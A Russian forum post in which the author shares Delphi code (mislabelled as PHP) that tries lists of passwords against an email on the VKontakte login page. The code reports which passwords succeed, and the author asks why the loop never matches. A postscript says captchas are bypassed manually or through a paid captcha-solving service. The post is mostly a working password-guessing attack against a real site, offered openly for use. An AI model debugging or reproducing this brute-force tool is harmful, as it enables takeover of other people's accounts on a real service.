Вот весь исходный код.
А проблема скорээ всего в цикле, всегда показивает, что пароль не подходит, хотя он правильный
PHP код:
var
emails:TStringList; // список мыл
pass:TStringList; // список паролей
post:TStringList; // список полей пост запроса
i,j:integer; // счетчики циклов
http: TidHTTP ;
result:String;
begin
emails:=TStringList.Create; pass:=TStringList.Create; // Инициализируем переменные
emails.Add('маил@mail.com');
pass.Add('пароль');
pass.Add('123456');
pass.Add('парольдругой');
http:=TidHTTP.Create(nil); // создаем HTTPClient
http.HandleRedirects:=true;
post:=tstringlist.Create; // этот стринг лист содержит поля e-mail и пароль
for i:=0 to emails.Count-1 do begin // перебираем в цикле мыльники
post.Clear; // отчищаем
post.Add('email='+emails.Strings[i]); // указываем e-mail
for j:=0 to pass.Count-1 do begin // перебираем пароли для выбранного мыльника
post.Clear; // отчищаем
post.Add('pass='+pass.Strings[j]); // указываем пароль
result:=http.Post('http://vkontakte.ru/login.php',post); // посылаем запрос
if pos('logout',result)>0 then // проверяем ответ
begin
Memo1.Lines.Add(Pass.Strings[j]+' - подходит') ;
end
else
Memo1.Lines.Add(Pass.Strings[j]+' - не подходит');
end;
end;
// освободим переменные
emails.Free;
pass.Free;
http.Free;
post.Free;
end;
P.S. Про капчу не спрашивайте, уже все сделано, или вводить самому, или воспользоватся сервисом "antigate"